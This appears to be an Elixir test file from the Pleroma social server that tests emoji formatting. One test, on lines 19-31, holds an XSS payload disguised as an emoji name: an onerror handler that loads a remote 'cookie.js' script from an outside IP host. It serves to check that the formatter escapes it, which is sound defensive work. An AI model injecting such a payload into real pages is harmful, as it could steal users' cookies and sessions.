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   1 # Pleroma: A lightweight social networking server
   2 # Copyright © 2017-2021 Pleroma Authors <https://pleroma.social/>
   3 # SPDX-License-Identifier: AGPL-3.0-only
   4
   5 defmodule Pleroma.Emoji.FormatterTest do
   6   alias Pleroma.Emoji.Formatter
   7   use Pleroma.DataCase, async: true
   8
   9   describe "emojify" do
  10     test "it adds cool emoji" do
  11       text = "I love :firefox:"
  12
  13       expected_result =
  14         "I love <img class=\"emoji\" alt=\"firefox\" title=\"firefox\" src=\"/emoji/Firefox.gif\"/>"
  15
  16       assert Formatter.emojify(text) == expected_result
  17     end
  18
  19     test "it does not add XSS emoji" do
  20       text =
  21         "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"
  22
  23       custom_emoji =
  24         {
  25           "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)",
  26           "https://placehold.it/1x1"
  27         }
  28         |> Pleroma.Emoji.build()
  29
  30       refute Formatter.emojify(text, [{custom_emoji.code, custom_emoji}]) =~ text
  31     end
  32   end
  33
  34   describe "get_emoji_map" do
  35     test "it returns the emoji used in the text" do
  36       assert Formatter.get_emoji_map("I love :firefox:") == %{
  37                "firefox" => "http://localhost:4001/emoji/Firefox.gif"
  38              }
  39     end
  40
  41     test "it returns a nice empty result when no emojis are present" do
  42       assert Formatter.get_emoji_map("I love moominamma") == %{}
  43     end
  44
  45     test "it doesn't die when text is absent" do
  46       assert Formatter.get_emoji_map(nil) == %{}
  47     end
  48   end
  49 end